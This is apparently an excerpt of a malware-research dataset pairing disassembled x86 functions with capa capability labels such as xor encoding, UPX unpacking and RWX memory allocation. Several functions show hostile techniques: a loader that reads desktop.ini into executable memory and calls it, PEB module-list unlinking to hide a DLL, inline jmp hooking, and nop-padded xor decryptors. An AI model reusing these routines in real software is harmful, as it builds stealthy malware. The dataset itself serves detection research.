joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009a00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x10140bd4]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x18]
mov al, byte [ebp + 0x14]
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 0xc]
push edx
mov byte [esi + 0x20], al
lea eax, [esi + 0x21]
push 0xff
push eax
call fcn.100198f1
mov eax, dword [ebp + 0x1c]
add esp, 0xc
mov dword [esi + 0x120], eax
mov eax, dword [ebp + 8]
test eax, eax
jne 0x10009a9a
mov edx, 0x4c
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x10033af0]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x10009a50
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 8], 0
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 6], 0
movq qword [ebp - 0x10], xmm0
jmp 0x10009b5b
cmp eax, 1
jne 0x10009af3
mov edx, 0x82
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x10033b0c]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x19
jb 0x10009ab0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
movups xmmword [ebp - 0x3c], xmm0
movq qword [ebp - 0x2c], xmm0
jmp 0x10009b5b
push 0x8bd94610
cmp eax, 2
jne 0x10009b2d
lea ecx, [ebp - 0x58]
call fcn.10001f50
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x40], 0
movups xmmword [ebp - 0x58], xmm0
mov byte [ebp - 0x3e], 0
movq qword [ebp - 0x48], xmm0
jmp 0x10009b5b
lea ecx, [ebp - 0x74]
call fcn.10001f50
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x5c], 0
movups xmmword [ebp - 0x74], xmm0
mov byte [ebp - 0x5a], 0
movq qword [ebp - 0x64], xmm0
push eax
mov ecx, esi
call fcn.100095c0
mov ecx, dword [esi + 4]
mov eax, dword [ebp + 0x10]
mov dword [esi + 0xc], eax
test ecx, ecx
je 0x10009ba7
cmp dword [0x10141d9c], 0
je 0x10009ba7
test eax, eax
je 0x10009ba7
push 0xffffffffffffffec
push ecx
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 1
push 0
push dword [esi + 0xc]
push dword [esi + 4]
call dword [0x10141d9c]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100144df
mov esp, ebp
pop ebp
ret 0x18
Function at 0x1000c590
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10030d28
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x10140bd4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x80], 0
cmp dword [ebp + 0x20], 0x10
lea eax, [ebp + 0xc]
push dword [ebp + 0x1c]
cmovae eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x7c]
push eax
mov dword [ebp - 4], 0
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
call fcn.1000e2a0
lea ecx, [ebp - 0x7c]
call fcn.1000baa0
push esi
lea ecx, [ebp - 0x7c]
call fcn.1000c0f0
mov ecx, dword [ebp + 0x20]
cmp ecx, 0x10
jb 0x1000c635
inc ecx
push ecx
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.1000b4d0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100144df
mov esp, ebp
pop ebp
ret

Function at 0x1000cde0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
mov eax, dword [0x10140bd4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 0x1f8]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push 0x1f4
push 0
push eax
call fcn.10017050
add esp, 0xc
lea eax, [ebp - 0x1fc]
push eax
push 0x20019
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1000ce8c
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push ebx
push dword [ebp - 0x1fc]
call esi
test eax, eax
jne 0x1000ce8c
push 0x1f4
lea eax, [ebp - 0x1f8]
push 0
push eax
call fcn.10017050
add esp, 0xc
push dword [ebp - 0x1fc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100144df
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push ebx
push dword [ebp - 0x1fc]
call esi
test eax, eax
je 0x1000ce54
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100144df
mov esp, ebp
pop ebp
ret

Function at 0x1000d7d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x1000d82a
push edi
mov edi, dword [esi + 0x3c]
lea eax, [ebp + 8]
push eax
push 4
push 0x40
push esi
add edi, esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000d806
xorps xmm0, xmm0
movups xmmword [esi], xmm0
movups xmmword [esi + 0x10], xmm0
movups xmmword [esi + 0x20], xmm0
movups xmmword [esi + 0x30], xmm0
test edi, edi
je 0x1000d829
lea eax, [ebp + 8]
push eax
push 4
push 0xf8
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000d829
mov ecx, 0x3e
xor eax, eax
rep stosd dword es:[edi], eax
pop edi
pop esi
pop ebp
ret
Function at 0x1000d830
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea eax, [ebp - 8]
push eax
push 0x40
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x1000
push 0
push dword [ebp + 8]
call fcn.10017050
add esp, 0xc
push 0
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esp, ebp
pop ebp
ret

Function at 0x1000d8a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x1000d916
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x1000d916
nop
cmp ecx, esi
jne 0x1000d90d
mov edx, dword [eax + 4]
test edx, edx
je 0x1000d8cf
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x1000d8db
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x1000d8e7
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x1000d8f4
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x1000d900
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x1000d90d
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x1000d8c0
pop esi
pop ebp
ret
Function at 0x1000f390
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
imul esi, dword [ebp + 8], 0x2c
mov eax, 5
push edi
mov dword [ebp + 8], eax
add esi, dword [0x10142d50]
test byte [esi + 0x14], 1
mov edi, dword [esi]
je 0x1000f3ba
sub edi, eax
mov eax, 7
mov dword [ebp + 8], eax
lea ecx, [ebp - 4]
push ecx
push 0x40
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1000f3d7
pop edi
mov eax, 0xa
pop esi
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp + 0xc]
test ebx, ebx
je 0x1000f3fc
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x1000f41d
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x1000f41d
mov eax, dword [esi + 0xc]
test byte [esi + 0x14], 1
mov dword [edi], eax
je 0x1000f417
mov ax, word [esi + 0x10]
mov word [edi + 4], ax
mov al, byte [esi + 0x12]
mov byte [edi + 6], al
jmp 0x1000f41d
mov al, byte [esi + 0x10]
mov byte [edi + 4], al
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, byte [esi + 0x14]
and bl, 1
mov cl, bl
and al, 0xfd
add cl, cl
shl bl, 2
or cl, al
and cl, 0xfb
or cl, bl
xor eax, eax
pop ebx
pop edi
mov byte [esi + 0x14], cl
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000f4c0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10140bd4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x1000f5a7
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x1000f5a0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop dword [eax]
cmp dword [ebp - 0x20], 0x10
jb 0x1000f586
call ebx
cmp dword [ebp - 0x14], eax
jne 0x1000f586
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x1000f586
mov ecx, dword [esi]
test ecx, ecx
jne 0x1000f54f
push 0x200
push ecx
mov dword [esi + 4], 0x80
push dword [0x10142014]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x1000f59f
jmp 0x1000f578
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x1000f578
shl eax, 3
push eax
push ecx
push 0
push dword [0x10142014]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x1000f59f
mov ecx, dword [esi + 4]
add ecx, ecx
mov dword [esi], eax
mov dword [esi + 4], ecx
mov edx, dword [esi + 8]
mov ecx, dword [esi]
mov eax, dword [ebp - 0x18]
mov dword [ecx + edx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1000f510
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100144df
mov esp, ebp
pop ebp
ret
Function at 0x10011290
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10011440
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1001135d
mov edx, dword [ebp - 4]
cmp edx, dword [0x10140bb8]
jb 0x100112da
mov eax, dword [ebp - 4]
cmp eax, dword [0x10140bbc]
ja 0x100112da
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x100112aa
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10017050
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10011300
jmp 0x1001135d
cmp dword [ebp - 0x14], 0x10000
jne 0x10011343
cmp dword [ebp - 0x18], 0x10000
jb 0x10011343
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10011336
mov eax, dword [ebp - 8]
jmp 0x1001135f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10011358
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10011440
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100112aa
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10011370
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10011470
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x10011435
mov edx, dword [ebp - 4]
cmp edx, dword [0x10140bb8]
jb 0x100113b5
mov eax, dword [ebp - 4]
cmp eax, dword [0x10140bbc]
ja 0x100113b5
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10011385
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.10017050
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100113db
jmp 0x10011435
cmp dword [ebp - 0x14], 0x10000
jne 0x1001141e
cmp dword [ebp - 0x18], 0x10000
jb 0x1001141e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10011411
mov eax, dword [ebp - 8]
jmp 0x10011437
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10011430
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10011470
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10011385
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100114a0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10011890
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x10142310], 0
jne 0x100114dd
cmp dword [0x1014230c], 0
je 0x100114dd
mov eax, dword [0x1014230c]
mov dword [0x10142310], eax
cmp dword [0x10142310], 0
je 0x1001155a
mov ecx, dword [0x10142310]
cmp dword [ecx + 8], 0
je 0x1001155a
mov edx, dword [0x10142310]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1001155a
mov ecx, dword [0x10142310]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1001155a
mov eax, dword [0x10142310]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x10011529
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x10011530
xor eax, eax
jmp 0x10011679
mov ecx, dword [0x10142310]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.10017050
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x10011679
mov edx, dword [0x1014230c]
mov dword [0x10142310], edx
jmp 0x10011576
mov eax, dword [0x10142310]
mov ecx, dword [eax + 4]
mov dword [0x10142310], ecx
cmp dword [0x10142310], 0
je 0x100115b6
cmp dword [0x10142310], 0
je 0x100115b4
mov edx, dword [0x10142310]
cmp dword [edx + 8], 0
je 0x100115b4
mov eax, dword [0x10142310]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x100115b4
mov edx, dword [0x10142310]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x100115b4
jmp 0x1001150e
jmp 0x10011568
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10011680
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10011677
mov eax, dword [ebp - 0x18]
mov dword [0x10142310], eax
mov ecx, dword [0x10142310]
mov dword [ecx], 0x52727464
mov edx, dword [0x10142310]
mov dword [edx + 8], 0
mov eax, dword [0x10142310]
mov ecx, dword [0x1014230c]
mov dword [eax + 4], ecx
mov edx, dword [0x10142310]
mov dword [0x1014230c], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x10142310]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x10011647
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x10011667
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1001163e
mov eax, dword [0x10142310]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1001150e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100230a6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10022f25

Function at 0x10028794
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10028454
Function at 0x42dca0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18000]
push edi
jmp 0x42dcba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42dcc1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42dcb0
mov eax, 1
add ebx, ebx
jne 0x42dcd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42dcc8
jne 0x42dce4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42dcc8
xor ecx, ecx
sub eax, 3
jb 0x42dcf8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42dd6a
mov ebp, eax
add ebx, ebx
jne 0x42dd03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42dd10
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42dd34
inc ecx
add ebx, ebx
jne 0x42dd20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42dd15
jne 0x42dd31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42dd15
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42dd54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42dd45
jmp 0x42dcb6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42dd54
add edi, ecx
jmp 0x42dcb6
pop esi
mov edi, esi
mov ecx, 0x38d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42dd72
cmp byte [edi], 0x14
jne 0x42dd72
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x42dd77
lea edi, [esi + 0x2b000]
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x42ddd2
cmp al, 0xef
ja 0x42ddc5
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x42dda7
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x42ddb4
mov ebp, dword [esi + 0x2d034]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42de06
sub esp, 0xffffff80
jmp 0x4035e5

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x432030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
